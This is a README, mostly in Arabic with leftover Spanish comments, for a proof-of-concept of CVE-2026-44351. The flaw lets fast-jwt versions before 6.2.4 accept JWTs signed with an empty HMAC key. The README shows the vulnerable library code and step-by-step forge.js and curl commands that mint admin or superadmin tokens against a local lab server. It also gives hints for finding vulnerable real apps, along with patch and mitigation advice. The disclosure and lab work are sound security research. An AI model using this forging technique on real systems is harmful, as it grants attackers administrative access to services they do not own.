
إثبات مفهوم لـ CVE-2026-44351، وهو تجاوز للمصادقة في fast-jwt <6.2.4 حيث يسمح مفتاح HMAC الفارغ للمهاجمين بتزوير رموز JWT عشوائية تُقبل كصحيحة.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (التحقق غير الصحيح من المفاتيح) / CWE-287 (المصادقة غير الصحيحة) / CWE-326 (قوة التشفير غير الكافية) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnerable | fast-jwt < 6.2.4 (تم التحقق مقابل 6.2.3) |
| Parche | [email protected] — يرفض مفاتيح HMAC الفارغة بـ FAST_JWT_INVALID_KEY |
📄 وثائق تقنية مفصلة (root cause مع الكود الفعلي، تشريح الهجوم، تحليل التصحيح):
docs/CVE-2026-44351.md
يسمح fast-jwt بتمرير دالة غير متزامنة كحل للمفتاح (key) — النمط
النموذجي عند التكامل مع خادم JWKS:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
عندما لا يكون kid الخاص بالرمز الوارد موجودًا، تُرجع هذه النمط ''. يحوّل fast-jwt
السلسلة الفارغة إلى Buffer بطول صفر (Buffer.alloc(0))، ويسلّمها
إلى crypto.createSecretKey (يقبلها Node بصمت) ويتحقق من توقيع الرمز
باستخدام HMAC بمفتاح فارغ.
بما أن HMAC-SHA256(key='', input='<header>.<payload>') قابل للحساب من قبل أي شخص، فإن
المهاجم لا يحتاج إلى معرفة السر الحقيقي: يزوّر رمزًا بالمطالبات التي يريدها
(sub، admin، roles، scopes، iss، aud، …) ويعيده المدقق
كـ مصادق عليه.
يؤثر فقط على مسار حل المفتاح غير المتزامن (دالة). الإعداد المتزامن
key: ''يُرفض بشكل صحيح لأنcreateVerifierيقطع الدائرة على القيم falsy.
يقع الخلل في src/verifier.js. في تدفق async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
ويتم التحقق من التوقيع باستخدام src/crypto.js:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) يعمل، وHMAC الخاص بالمدخل قابل للحساب
من قبل المهاجم، ويُقبل الرمز المزوّر.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ يقبل | ✅ يقبل | ✅ يقبل |
(d, cb) => cb(null, '') | (default) | ✅ يقبل | ✅ يقبل | ✅ يقبل |
async d => keys[d.header.kid] || '' | (default) | ✅ يقبل | ✅ يقبل | ✅ يقبل |
async () => '' | ['HS256','HS384','HS512'] | ✅ يقبل | ✅ يقبل | ✅ يقبل |
async () => '' | ['HS256','RS256'] | ✅ يقبل | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
يُنفَّذ الهجوم يدويًا: الأداة الوحيدة هي forge.js، التي تصنع JWT
الموقّع بمفتاح فارغ. الإرسال والتحقق يتمّان باستخدام curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Docker يخدم فقط لتشغيل target الضعيف، وليس للاستغلال. بقية الهجوم يدوي.
حدّد JWT حقيقيًا من التطبيق (مثلًا من طلب مُصادَق) وافحص header/payload الخاص به دون التحقق من التوقيع:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
نقاط يجب التحقق منها:
kid → التطبيق يحل المفاتيح عبر kid (احتمال JWKS).kid مكسورًا بـ 401 لكنه لا يُظهر
invalid algo/invalid key، فمن المحتمل أن resolver يقوم بـ keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
يقوم السكربت دائمًا بتوقيع الـ header {alg, typ, kid} والـ payload المختارين باستخدام
HMAC-SHA* بـ مفتاح فارغ (secret: "")، دون معرفة السر الحقيقي للتطبيق.
مع الرمز المنسوخ (أو المقروء من الملف):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
الاستجابة المتوقعة إذا كان الهدف ضعيفًا:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| الحالة | الأمر | النتيجة |
|---|---|---|
| بدون رمز | curl -si http://localhost:3000/admin | 401 Unauthorized |
| رمز غير صالح | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| رمز مزوّر | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + وصول admin |
التجاوز قابل للتكرار بتغيير المطالبات وتكرار الخطوة 2–3 (ما بعد الاستغلال:
التصعيد إلى role، scopes، sub آخر، إلخ).
مقارنة سريعة بين الإصدار الضعيف والمُصحَّح:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
أيضًا في Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] أو أعلى: prepareKeyOrSecret يرفض مفاتيح HMAC
بطول صفر بـ FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) كـ fallback:
أرجع undefined/null وتعامل مع تلك الحالة كخطأ في حل المفتاح.cache: false
خلال الانتقال: ذاكرة التحقق المؤقتة (افتراضيًا 1000 مدخل / 600s TTL)
قد تحتفظ برموز مزوّرة قُبلت سابقًا.يعرض الخادم أيضًا وحدة تحكم إدارية (public/) بحيث يظهر
الاستغلال على تطبيق حقيقي: تسجيل دخول مؤسسي، لوحة تحكم بالمطالبات، لوحة
وصول admin وعرض Red Team مدمج.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
حسابات تجريبية:
| Password | Rol | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
يحاكي التطبيق SaaS شرعيًا:
POST /login يصدر JWT موقّعًا بـ السر الحقيقي (kid: legit-kid) عبر
createSigner — الـ signer غير ضعيف.localStorage وتضرب GET /admin، الذي يستخدم
verifier الضعيف.'' في JS خالص، RFC 2104 — WebCrypto لا يقبل مفاتيح بطول صفر) أو
لصق رمز من node forge.js واختبار /admin. مع admin: true يستجيب
200 OK → تجاوز مؤكد دون مغادرة المتصفح.الواجهة الأمامية مجرد عرض: الثغرة تبقى نفسها (async key resolver مع
keys[kid] || '') وتدفق الهجوم اليدوي معforge.js+curlمن README يستمر في العمل.
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
هذه المادة فقط لأغراض تعليمية وبحثية أمنية. استخدم الـ exploit فقط ضد تطبيقاتك الخاصة أو بترخيص كتابي من المالك. الاستخدام غير المصرح به لهذه التقنية ضد أنظمة طرف ثالث غير قانوني والمسؤول عن استخدامه هو من يقوم به.